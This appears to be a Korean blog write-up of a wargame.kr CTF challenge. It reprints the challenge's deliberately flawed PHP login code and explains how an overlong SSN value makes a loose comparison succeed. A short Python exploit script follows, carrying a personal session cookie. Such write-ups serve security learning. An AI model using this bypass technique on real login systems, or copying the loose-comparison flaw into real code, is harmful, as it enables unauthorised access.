<?php


if (isset($_GET['view-source'])) {
    
show_source(__FILE__);
    exit();
}

include(
"../lib.php"); // include for auth_code function.
/*******************************************************
- DB SCHEMA (initilizing)

create table accounts(
 idx int auto_increment primary key,
 user_id varchar(32) not null unique,
 user_ps varchar(64) not null,
 encrypt_ss text not null
);

********************************************************/

function db_conn(){
 
mysql_connect("localhost","login_with_cryp","login_with_crypto_but_pz");
 
mysql_select_db("login_with_crypto_but");
}

function 
init(){
 
db_conn();
 
$password crypt(rand().sha1(file_get_contents("/var/lib/dummy_file").rand())).rand();
 
mysql_query("insert into accounts values (null,'admin','{$password}','".sucker_enc('881114')."')"); // admin`s password is secret! xD
 
mysql_query("insert into accounts values (null,'guest','guest','".sucker_enc('000000')."')");
}
//init(); // create user for initializing

function enc($str){
 
$s_key "L0V3LySH:butsheismyxgf..";
 
$s_vector_iv mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_3DESMCRYPT_MODE_ECB), MCRYPT_RAND);
 
$en_str mcrypt_encrypt(MCRYPT_3DES$s_key$strMCRYPT_MODE_ECB$s_vector_iv);
 
$en_base64 base64_encode($en_str);
 
$en_hex bin2hex($en_str);
 return 
$en_hex;
}

function 
sucker_enc($str){
 for(
$i=0;$i<8;$i++) $str enc($str);
 return 
$str;
}

function 
get_password($user,$ssn){
 
db_conn();
 
$user mysql_real_escape_string($user);
 
$ssn  mysql_real_escape_string($ssn);
 
$result mysql_query("select user_ps from accounts where user_id='{$user}' and encrypt_ss='".sucker_enc($ssn)."'");
 
$row mysql_fetch_array($result);
 if (
$row === false) {
  die(
"there is not valid account!");
 }
 return 
$row[0]; 
}

ini_set("display_errors"true);

if( (isset(
$_POST['user']) && isset($_POST['ssn']) && isset($_POST['pass'])) ){
 
 
sleep(2); // do not bruteforce !!!! this challenge is not for bruteforce!!

 
if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){

  if(
$_POST['user'] == "admin"){
   echo 
"Login Success!!! PASSWORD IS : <b>".auth_code("login with crypto! but..")."</b>";
  }else{
   echo 
"Login Success. but you r not 'admin'..";
  }
 }else{
  echo 
"Login Failed";
 }

}

?>
<hr />
<form method="post" action="./index.php">
<table>
 <tr><td>Identify</td><td><input type='text' value='guest' maxlength='32' name='user' /></td>
 <tr><td>Social Security</td><td><input type='text' maxlength='6' value='000000' name='ssn' /></td>
 <tr><td>PASSWORD</td><td><input type='text' value='guest' name='pass' /></td>
 <tr><td colspan="2"><input type="submit" value="Login" /></td></tr>
</table>
</form>
<hr />
<a href='./?view-source'>GET SOURCE</a>



코드를 보면 핵심적인 부분이 바로 이부분인데


if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){


이걸 참으로 만들려면 get_password함수가 SQLI자체가 불가능하기 때문에 느슨한 비교를 하고 있는걸 통해 뭔가를 만들어내야 할 것 같았다.


pass값으로는 줄 수 있는게 딱히 없었고 get_password의 리턴값을 false나 null로 만들어야 할 것 같았다. 근데 false는 함수내에서 리턴이 될 수 없도록 비교하는 부분이 있었고 어떻게든 null을 리턴하게 만들어야 했는데 이를 가능하게 하려면 PHP Overflow를 이용해주면 된다.


get_password 함수를 잘 보면 sucker_enc 함수 내에서 enc함수를 8회 반복 호출하면서 ssn값을 3DES암호화를 한다. 이 때 일정길이 이상의 ssn값을 받아 이 작업을 하게 되면 암호화과정에서 BOF가 발생하면서 에러가 터져 mysql_query 실행 결과가 false가 리턴되고 false를 통해 mysql_fetch_array를 실행하게되면 null이 리턴되서 최종적으로 get_password 리턴결과가 null이 된다.


요렇게 BOF를 통해 null을 리턴한후 pass값을 공백으로 보내주면 아래와같은 느슨한 비교로 인해 




if($_POST['pass'] == get_password($_POST['user'],$_POST['ssn'])){


요 구문이 참이되고 플래그가 나오는데 문자열길이가 너무 길면 Allowed memory size of 134217728 bytes exhausted (tried to allocate 51197953 bytes) 요런 에러가 뜨고 너무 적으면 BOF가 안터지기 때문에 둘 사이의 적당한 문자열 길이를 테스트해보면서 넣어주면된다. 


요런식으로 코드짜서 익스했다.


import urllib2
import sys

def request(data):
url = "http://wargame.kr:8080/login_with_crypto_but/index.php"
req = urllib2.Request(url,data)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
req.add_header('Cookie','ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22da47b74cdce1c92a638a96208d90976b%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A8%3A%2210.0.2.2%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A68%3A%22Mozilla%2F5.0+%28Windows+NT+6.1%3B+WOW64%3B+Trident%2F7.0%3B+rv%3A11.0%29+like+Gecko%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1525879816%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A12%3A%22JeonYoungSin%22%3Bs%3A5%3A%22email%22%3Bs%3A19%3A%22eorms36%40hanmail.net%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22kor%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A5%3A%2223138%22%3B%7D465203728384ff49206716bba2df3b1475ab103f')
response = urllib2.urlopen(req).read()
return response


payload = "user=admin&ssn="+"0"*100000+"&pass="
result = request(payload)
print "[*]Find Flag "+result

 


'Wargame > wargame.kr' 카테고리의 다른 글

wargame.kr pw crack  (0) 2018.05.10
wargame.kr counting query  (0) 2018.05.10
wargame.kr CustomOS  (0) 2018.05.10
wargame.kr DLL with notepad  (0) 2018.05.09
wargame.kr zairo  (0) 2018.05.09
블로그 이미지

JeonYoungSin

메모 기록용 공간

,